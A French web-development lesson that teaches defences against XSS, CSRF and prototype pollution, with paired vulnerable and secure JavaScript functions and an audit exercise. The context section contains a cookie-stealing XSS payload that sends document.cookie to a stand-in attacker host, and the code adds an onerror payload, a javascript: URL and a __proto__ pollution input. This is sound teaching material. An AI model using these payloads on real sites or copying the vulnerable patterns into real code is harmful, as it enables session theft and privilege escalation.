Retour au cours

frontend / javascript

Sécurité : XSS, CSRF et sanitization

Leçon 211 exercice

Explication

Ce que vous allez apprendre

  • Définir une attaque XSS et identifier l'endroit du code où elle s'insère
  • Choisir textContent plutôt qu'innerHTML pour neutraliser une entrée non fiable
  • Définir une attaque CSRF et la différencier du XSS
  • Décrire les défenses standards contre le CSRF (SameSite, jeton anti-CSRF)
  • Justifier pourquoi la validation côté client ne remplace jamais la validation côté serveur

Dans quel contexte ?

Un audit de sécurité externe signale une faille critique sur le formulaire de commentaires d'un site : un attaquant peut soumettre <script>fetch('https://site-pirate.com/vol?cookie='+document.cookie)</script> comme commentaire, et ce script s'exécute dans le navigateur de chaque visiteur qui consulte la page, volant potentiellement leur session. L'équipe corrige en repassant tous les affichages de contenu utilisateur d'innerHTML à textContent, et ajoute une politique de sécurité de contenu (CSP) en défense supplémentaire.

1. Fonctionner ne suffit pas, il faut résister

Écrire du JavaScript qui fonctionne ne suffit pas : il doit aussi résister à une utilisation malveillante. Cette leçon aborde deux familles de vulnérabilités parmi les plus courantes sur le web.

2. Le XSS : faire exécuter du code dans le navigateur d'un autre

Le XSS (Cross-Site Scripting) consiste à faire exécuter du code malveillant dans le navigateur d'une victime, en profitant d'un endroit où du contenu non fiable — un commentaire, un nom d'utilisateur — est inséré tel quel dans la page.

Prérequis

Cette leçon prolonge directement la distinction textContent/innerHTML vue à la leçon 8 sur le DOM. Si cette différence n'est pas claire, relisez-la avant de continuer : elle est au cœur de la défense contre le XSS.

3. La parade, déjà croisée à la leçon sur le DOM

textContent traite toujours son contenu comme du texte, jamais comme du code exécutable, alors qu'innerHTML l'interprète littéralement. Insérer une entrée utilisateur non filtrée via innerHTML revient à laisser n'importe qui écrire du code exécuté chez les autres.

4. Le CSRF : une requête envoyée à l'insu de la victime

Le CSRF est différent : il pousse le navigateur d'une victime déjà connectée à envoyer, à son insu, une requête légitime mais non désirée vers un autre site.

AttaqueCe qu'elle exploiteDéfense principale
XSSContenu utilisateur inséré comme code exécutabletextContent, échappement, CSP
CSRFCookies de session envoyés automatiquement par le navigateurCookies SameSite, jeton anti-CSRF

5. Comment on s'en protège

La défense combine des cookies configurés en SameSite et un jeton dédié, vérifié côté serveur à chaque action sensible.

Piège fréquent

Ajouter une validation JavaScript côté client (par exemple vérifier qu'un champ email est bien formé) améliore l'expérience utilisateur, mais n'empêche en rien un attaquant d'envoyer une requête directement au serveur avec curl ou Postman, en contournant totalement ce JavaScript. Toute validation de sécurité doit être répétée côté serveur.

6. Le principe qui traverse toute la leçon

La validation effectuée côté client n'améliore que l'expérience utilisateur : elle ne protège jamais réellement l'application, puisqu'un attaquant peut envoyer une requête directement au serveur en contournant votre JavaScript. La sécurité réelle se joue toujours côté serveur.

Commandes & code

Sécurité : XSS, CSRF et sanitization

Les vulnérabilités les plus courantes côté frontend, et comment s'en protéger.

js
// --- XSS (Cross-Site Scripting) : injection de code via du contenu non fiable ---

// MAUVAIS : innerHTML avec du contenu utilisateur non echappe
function afficherCommentaireDangereux(commentaire) {
    document.querySelector("#commentaires").innerHTML += `<p>${commentaire}</p>`;
    // si commentaire = "<img src=x onerror=alert(document.cookie)>", le script s'execute !
}

// BON : textContent echappe automatiquement le HTML
function afficherCommentaireSecurise(commentaire) {
    const p = document.createElement("p");
    p.textContent = commentaire;      // le contenu est traite comme du TEXTE, jamais interprete
    document.querySelector("#commentaires").appendChild(p);
}

// Si du HTML est vraiment necessaire (ex: editeur riche) : SANITIZER une librairie dediee
// import DOMPurify from "dompurify";
// document.querySelector("#contenu").innerHTML = DOMPurify.sanitize(contenuUtilisateur);

// --- XSS via des attributs dangereux ---
// MAUVAIS : un lien construit avec une valeur utilisateur non validee
function creerLienDangereux(url) {
    const a = document.createElement("a");
    a.setAttribute("href", url);       // url = "javascript:alert(1)" execute du code au clic !
    return a;
}

function creerLienSecurise(url) {
    const urlValidee = new URL(url, window.location.origin);
    if (!["http:", "https:"].includes(urlValidee.protocol)) {
        throw new Error("Protocole non autorise");    // bloque javascript:, data:, etc.
    }
    const a = document.createElement("a");
    a.href = urlValidee.href;
    a.rel = "noopener noreferrer";       // empeche l'onglet ouvert d'acceder a window.opener
    return a;
}

// --- Content Security Policy (CSP) : defense en profondeur cote serveur ---
// Header HTTP a configurer cote serveur (exemple) :
// Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

// --- Stockage de tokens : localStorage vs cookies httpOnly ---
// MAUVAIS : localStorage est accessible en JS -- vulnerable si un XSS survient malgre tout
localStorage.setItem("token", "eyJhbGci...");     // n'importe quel script injecte peut le lire

// BON : cookie httpOnly (invisible depuis document.cookie / JS), defini cote serveur
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// -- inaccessible via document.cookie, protege meme en cas de XSS reussi

// --- CSRF (Cross-Site Request Forgery) : requete malveillante depuis un AUTRE site ---
// Protection 1 : SameSite=Strict/Lax sur les cookies de session (bloque l'envoi cross-site)
// Protection 2 : token CSRF dedie, verifie cote serveur a chaque requete mutante
async function envoyerFormulaireProtege(donnees) {
    const tokenCSRF = document.querySelector('meta[name="csrf-token"]').content;
    return fetch("/api/action", {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "X-CSRF-Token": tokenCSRF,       // le serveur verifie ce header avant d'agir
        },
        body: JSON.stringify(donnees),
    });
}

// --- Validation cote client : UNIQUEMENT pour l'UX, JAMAIS pour la securite ---
function validerFormulaireClient(email) {
    // Cette validation ameliore l'experience utilisateur, mais un attaquant peut
    // envoyer une requete directement (curl, Postman) en contournant totalement le JS client.
    // La validation REELLE et fiable doit TOUJOURS etre refaite cote serveur.
    return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

// --- eval() et Function() : jamais sur du contenu non fiable ---
// eval(donneesUtilisateur);                     // DANGEREUX
// new Function(donneesUtilisateur)();             // tout aussi dangereux

// --- Prototype pollution : piege lors du merge d'objets non valides ---
function mergeDangereux(cible, source) {
    for (const cle in source) {
        cible[cle] = source[cle];     // cle = "__proto__" peut polluer Object.prototype !
    }
    return cible;
}
// JSON.parse('{"__proto__": {"estAdmin": true}}') suivi d'un merge naif peut affecter TOUS les objets

function mergeSecurise(cible, source) {
    for (const cle of Object.keys(source)) {
        if (cle === "__proto__" || cle === "constructor" || cle === "prototype") continue;
        cible[cle] = source[cle];
    }
    return cible;
}

Résumé

  • textContent échappe automatiquement le HTML ; innerHTML avec du contenu utilisateur non nettoyé est vulnérable au XSS.
  • Un token stocké en localStorage reste lisible par tout script injecté : préférer un cookie httpOnly + SameSite.
  • La validation côté client n'est qu'une aide UX : la validation de sécurité réelle se fait toujours côté serveur.
  • Un merge d'objet naïf peut être exploité pour une "prototype pollution" via la clé __proto__.

Exercices pratiques

1 disponible
1

Mission : l'audit de sécurité avant la mise en production

Objectif : Corriger une faille de prototype pollution dans une fonction de merge, et durcir le stockage d'un token de session.

Contexte

Un audit de sécurité externe de Technologik pointe deux failles avant la mise en production de la nouvelle API de paramètres utilisateur :

js
function mergeParametres(cible, source) {
  for (const cle in source) {
    cible[cle] = source[cle];
  }
  return cible;
}
// un attaquant envoie JSON.parse('{"__proto__": {"estAdmin": true}}') comme "source"

Le token de session est aussi stocké avec localStorage.setItem("token", jwt), ce que l'auditeur qualifie de risque majeur en cas de faille XSS ailleurs sur le site.

Résoudre l’exercice →